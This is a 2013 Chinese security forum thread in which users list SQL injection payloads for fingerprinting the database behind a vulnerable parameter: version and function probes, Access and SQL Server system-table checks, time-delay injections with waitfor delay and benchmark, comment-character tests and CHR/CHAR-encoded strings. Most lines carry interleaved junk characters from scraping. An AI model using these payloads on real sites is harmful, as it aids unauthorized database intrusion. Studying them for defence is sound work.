找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2062|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库& {: ]$ t8 D. K! `. \4 M
xsser (十根阳具有长短!!) | 2013-02-05 12:36; s0 H) N( v  ~; D) J$ V! i
假设这么一个注射点:3 o. I0 ?: Z- @" ^* _" P. a) e# B
show.html?id=2
5 d+ H1 R/ H2 q) v* jmysql:id=2 and version()>0
( U/ z5 }! H4 G( ?oracle:id=2 and '1'||'1'='116 W( `3 q+ ]3 x5 e) w; G( x: \
其他的欢迎补充/ I6 G9 m, F/ O$ y: ~
1## V" m# j$ V- [+ ?) {. j( u& W" L1 X
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
' ^; E. l1 V7 D( k/ nAccess:/ Z, {% _6 c" I, O1 c$ v
aNd aSc(cHr(97))=97
. h# p' |2 }: o- N# Z2 X1 Nand exists(select id from MSysAccessObjects)1 T" z2 k1 W7 o$ _* a
SQL Server:$ c4 [7 G2 J" O2 w% P* E2 p
and exists(select id from sysobjects)0 N: S" {9 p) h; h9 D; f. \# @
and length(user)>0
* k' |' v4 {0 G; L9 {8 NMySQL:' x1 }$ u6 O, \4 J
and length(user())>00 q  Q' n8 R2 I. w; m) ]
2#/ a" M( }( Z0 v; k: N  J/ U% r
xsser (十根阳具有长短!!) | 2013-02-05 12:48
5 ~* B" U( w0 L@upload 如果这些都不是呢…' }: w0 Q8 i9 }5 V2 a
3#4 |+ U$ ~  Y# f/ G; v+ T% y/ }
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03( _$ E$ i' Y5 _. T% n1 K: _
@xsser 不快速的,延时注入
7 T+ h2 K7 r- ]' a3 l不知道这样写对不对4 W1 j. {4 q) n! g( U  N0 q
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
& g# L) M  b, Kmysql:id=2 and select benchmark(1e8,current_date());
" J( p& t" \& s- K9 b/ y/ F1 w  s. w. Q4#
6 D* T9 Y7 S7 @9 d( J3 P: Mupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
8 D- M& ]+ F% f/ `& y- l2 F$ M最快的貌似是看报错信息' d0 o9 K3 l- f+ B  |. F5 h8 M
oracle error7 j. d3 A, c7 Q
mssql error; X0 v0 S2 q: q. F
mysql error
/ i* Y' D1 O% d$ r7 L6 W7 J5#
6 v6 _0 o8 \3 F! C0 _* _9 BNimda (你们都是坏银~) | 2013-02-05 13:14" o3 T  k4 W/ K6 K" Y& j7 K
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)2 h) u8 e9 \! j
6#: e+ d- B3 K; @8 L
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
7 s; V* B* v; ?  g“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
* {) [: N8 n& i$ v“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
/ e% ^6 Z1 J) `1 V9 }+ W, I“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
; i& f" `( @9 }7#1 c2 n% o- P& Q
_Evil (HackEnd) | 2013-02-05 13:331 C" Z7 o" E* u+ o2 T0 o( \; X8 D
PostgreSQL
" \+ F  I4 ]6 X1 c. D$ V8#' }# I  w: {7 G8 R$ M
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42- J9 F1 a. |( k$ q9 h6 D
切换编码 and 1=1; H9 q$ ?) u3 j
oracle:, b9 A: _8 _' B
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)3 I( W* b' R5 W# l; M7 I0 f6 p' @
mssql:* h5 B1 H3 ]1 Q$ [7 k: D' {
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)8 m, C! q: t( @3 l! `
mysql:
, u2 l$ @. s& m' C1 {6 `9 r' y& X, {/ lCHAR(97, 110, 100, 32, 49, 61, 49)
2 c9 F+ J  J1 N# ~6 A5 s3 z9#
% d7 L* m2 U* Q  A0 cxsser (十根阳具有长短!!) | 2013-02-05 14:31
* q2 t6 X' g3 e* X9 I# S9 J@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
' W; m$ L8 O5 G10#
9 z" m) ]; \1 X' Xupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:467 t. Q; m/ T) Z. H1 V. x
@xsser 是奇葩数据库类型的么?
4 u, v5 d% w3 z. B3 a0 h5 z* _' R根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:6 b; K' C1 C0 g3 R
1.是否可以使用特定的函数来判断,该数据库特有的
# o# t" y0 o8 [* m) E2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等% ?+ P" Z( i* y  g
3.是否可以编码查询/ x3 b) w# b" G* }. ]) m/ `
4.是否显可以利用错信息
9 \7 f5 T0 Q4 [- Z6 }' ]5.是否存在数据库某些特性辅助判断# P9 ~  G: f5 ^7 R3 q; K- x# B, j
个人见解
2 x( B' ~9 k7 @- U& Q11#  }" A; h+ m$ f, ?
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55' m( B6 J! w7 P* b. W
已收藏,mssql可以直接看到错误提示的吧~
: L( {. h4 w& A2 {: K" f12#: g2 [6 _0 M+ y
Passer_by | 2013-02-05 15:09" g9 E- X9 W: h
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
( T2 a4 ]2 S9 j( ]( Ufrom:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表